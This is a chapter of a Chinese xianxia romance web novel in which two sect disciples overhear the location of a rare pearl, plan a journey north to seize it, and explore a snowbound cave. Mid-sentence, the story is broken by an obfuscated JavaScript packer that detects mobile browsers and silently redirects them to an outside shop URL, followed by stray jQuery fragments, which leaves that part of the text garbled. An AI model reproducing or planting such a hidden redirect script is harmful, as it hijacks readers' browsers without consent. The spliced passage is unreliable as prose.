他还是上次见面时那一身黑色的衣裳,只是头发被高高束在脑后,脸上还蒙着黑色的面纱。他认真地端详着时云渺,轻声道:“到处找不到你,只好来试试这儿了,听姬月说你喜欢读书?什么时候的事,我怎么才知道?”
“少学姬月说些尖酸刻薄的话,我一直都喜欢读书好吧。”时云渺掐了贺铉一下,贺铉吃痛,时云渺正要说话,远处的脚步又渐行渐近,两人都自觉闭嘴了。时云渺半靠在贺铉身上,省力又舒服,心里也安定了不少,她一个人或许还有些忐忑,有贺铉在旁边,她莫名就有了一种无论如何不会被柳星瑶发现的自信。
那人又重新坐会了案几边上,写写画画,像是在演算什么。
时云渺在贺铉手上写,谁?
贺铉缓缓摇头,也没有头绪。
“算出来了吗?”
那人停笔良久,开口:“吹雪楼以北三千里,鲲鹏徘徊之地,燕山三山环绕之间,有你要的东西。”
“确定吗?”柳星瑶道:“万年来整个修真界也就只发现了一颗紫霄珠,你什么都不做,光坐在这里,便能算出另一颗的位置?”
紫霄珠?!时云渺一震,
“不信,别去。”那人声音嘶哑,但依然能听出浓浓的嘲讽之意。时云渺更是好奇,究竟是什么人,敢这样跟柳星瑶说话?
那人又继续道:“放我走。你,答应过。”
“我没答应过。”柳星瑶的声音平静如水:“我说的是‘帮我找到’,如今东西并未到手,不作数。”
哗啦一声,那人猛地掀了桌子,书页翻飞,打翻的烛火点燃了纸张,满室登时燃气熊熊烈火。时云渺怕被火星燎到,下意识地往后一退,贺铉却是不受影响,牵住了她的手,两人手掌交握,贺铉的手紧了紧,示意没事。
不远处,柳星瑶似乎对这人的动作也没什么大的反应,“我会派人去寻,若真的如你所说,我会给你你想要的,决不食言。”
“你要放我出去。”
“我答应你。”柳星瑶打了个响指,书页上、书架上的火都倒流回了重新立起的烛台之中,空中的灰烬汇集回原位,重新变成老旧发黄的纸张,一切都回归到完好的初始状态。她不知按下了什么地方,通往外面的门重新开启,带着那人离开了。
“呼——”他们一走,时云渺便大呼一口气,三步并作两步往案几旁走。可惜那人演算和绘制的图纸都已经被柳星瑶的一个碧海潮生归为最初状态了,面前只剩一沓白纸。
“这人是谁?这么大能耐?”时云渺抽出一本那人方才查阅的记录西域灵兽的抄本,上面写的歪歪扭扭、像蚯蚓一样的符号,俱是西域的文字,时云渺半个字也看不懂,她回头看贺铉,贺铉也是一副若有所思的模样。
“师哥,师哥?”时云渺见喊他没反应,一把撤掉了他蒙面的黑纱:“师哥!”
“嗯?”贺铉回过神来,白的像雪一样的皮肤在时云渺手中的琉璃灯下恍若也散发着柔和的微光。
“还等什么呢,我们快出发吧。”时云渺跃跃欲试道。
“出发?”
“紫霄珠啊,手慢无!”时云渺道:“师姐都说了要派人去了,我们都听到了,还不抢先一步,等什么呢?”
贺铉一怔:“你知道紫霄珠是做什么的么?”
天心寺用紫霄珠镇压魔物不假,可为防有心之人偷盗,很少有人知道真正用于镇压的,不是天心寺引以为立派之本的护宫阵法,而是金玉为衣满头珠翠的观世音娘娘手中那颗不起眼的珠子。
时云渺一脸你当我傻的表情:“我好歹也是震雷岛内门,我俩一个级别的好吗,当然知道。”
“我不是这个意思。”贺铉道:“镇压用的法器有许多,并不一定非要那个。你若喜欢,师哥去给你找,何必去抢师姐的东西。”
“不是我要。”时云渺道:“找到了给你呀,我要那玩意做什么?”
贺铉有些不解的看着她,时云渺说了自己的猜测,她看到贺铉脸色表情微变,便知道贺铉也想到过这一点,她追问道:“我没说错吧,你肯定也知道的,我们拿到了紫霄珠,就能活捉金瞳之人了,再拷问消息,就方便了许多呀。”
贺铉想了想,却还是缓缓摇了摇头:“师姐拿到,效果也是一样......”
可话还没说完,他便逐渐停住了,时云渺看进他的眼睛,知道两人又想到了一样的事——柳星瑶不止是死于金蝉教之手的瑶光仙尊的女儿,她还有一个身份——肃威掌门座下首席大弟子,未来震雷岛毋庸置疑的掌门。
她对金蝉教的仇恨不假,可作为未来的掌门,她更有太多需要顾及的事情,就像从前许多次贺铉和柳星瑶生出分歧一样,他们并不总是能同心,柳星瑶也不一定会将这万年难得一颗的紫霄珠用于捉拿金瞳之人。
时云渺眼睛亮晶晶地,闪烁着跃跃欲试的光芒,贺铉却忽然想到了别的,蹙眉:“你这些日子在藏书阁,就是为了查制服金蝉教的方法吗?”
时云渺觉得有些不好意思,含糊道:“也不是,就是无聊了想看看书。”
贺铉定定地看着她,忽然将她搂进怀里,双臂收紧,轻声道:“云儿,谢谢。”
“紫霄珠位置的事也不是我发现的,歪打正着而已,谢我做什么......”时云渺嘟囔道,不过拥抱的滋味很不错,时云渺并没有推开他,她摸了摸贺铉的背,少年人的背脊还带着些肌肉跟不上骨骼生长速度的消瘦,“所以你怎么想,要不要去嘛?机会难得哦?”
贺铉松开时云渺,想了想,终于下定决心:“去吧,今天就启程,你在家等我,月底之前我便回来。”
“开什么玩笑!”时云渺登时炸毛了:“上上次不带我,回来一下午就出门,也不带我,这次我找到的信息,还不带我,没天理啦!”
“紫霄珠必定在龙陨之处,即使事已经陨落的龙,也还带着生前的神识和威压,不容小觑。”贺铉耐心地试图解释:“况且北大荒不是我们的地界,吹雪楼又常年与我们不和,贸然前往,实在是很危险的。”
“哪里不和了,我看上次那个小燕人就蛮好的,人家还是排行第一的呢。”时云渺道:“我修为也不错呀
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491989|202273||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,带我去,小怪你站我后头不用你亲自出手,你可以养精蓄锐,危险的时候我就躲起来,你自由发挥,我们配合打的也很好,多好的事呀。”
她扯住了贺铉准备去偷偷掏一忘皆空散的手,发动了终极武器:“你要是不带我,我现在就炸了藏书阁,你看看是柳师姐把我们两个抓起来比较快,还是你偷跑去北域快。”
贺铉忽然笑了,道:“祖宗,我真是白感动了。我要收回我的话,你实在是个来讨债的。”
时云渺知道他这是答应了的意思,笑道:“谁让你要捡我回来呢,我就讨定你了。”
“行,尽管来,师哥有的是钱。”贺铉道:“去了北域能听话吗?”
“我向来是很听话的。”
贺铉忍不住掐了下她的脸,像小时候一样:“你向来是很会胡说八道的。”
燕山三山环绕之处,雪密密实实覆满大地,寻找那所谓的龙陨之地入口变得更加困难。
时云渺艰难地在地下河的夹层中穿梭,寻着河水前行,整个溶洞空荡荡的,越往里走,光现愈加昏暗,到了此处,已经是一片漆黑了。
为免惊动洞中潜在的威胁,她也并未燃灯,视觉被抑制后,其他的感官反而变得十分敏锐,她听到了河流中一处不同寻常的咕嘟声,像是有什么气泡从水底涌了出来。
时云渺:?
有气体就说明下面有空腔,她靠着修士自身的夜视能力,走到了河边。
又是咕隆一声,这次时云渺听得真真切切,她果断下水,震雷岛四面环绕着月下海,弟子没有不会水的,时云渺轻轻松松便发现了河流底部的一块空腔,底下肯定有夹层或是更深的地下河。
哗啦一声浮出水面,时云渺吹了个口哨,悠扬哨声在洞穴中回荡。她一跃出水,就等贺铉过来。
出了震雷岛,二人也不似从前出门沿路走沿路玩了。他们分析了一番,紫霄珠这样重要的事,柳星瑶肯定要交给最信任且修为最强的人来办。整个震雷岛最合适的莫过于贺铉和凌冰融了,如今贺铉不在,必定是凌冰融带队,他做事向来雷厉风行,两人必须加快脚步,才能赶在他前面拿到紫霄珠。
因此,来到北域,二人分头行动,以哨声为令,若发现了什么,便喊另一人回来。
不片刻,贺铉便御剑而来,他满身是雪,蹙眉道:“云儿?”
“这里。”时云渺朝他招手,得意道:“看我发现了什么。”
贺铉的注意力却不在这上边,他朝时云渺弹出一个避水咒,却没有任何作用,她身上依然湿淋淋的。
“别试了,这鬼地方什么法术都用不了。”
贺铉:“御灵阵法?”说着就要拉时云渺出去到外头除去身上的水,时云渺却示意不用,让他仔细看水里。
“你手怎么这么凉!”贺铉眉头都蹙成了一团,握住她手腕,往里灌注灵力:“这水就是再特别,你也不该贸然下去,北域原本就极寒,这又是地下水,你还要命吗?”
“要的要的,这不重要,哎呀你灵力能不能不要灌那么猛,我要被你烫死了!”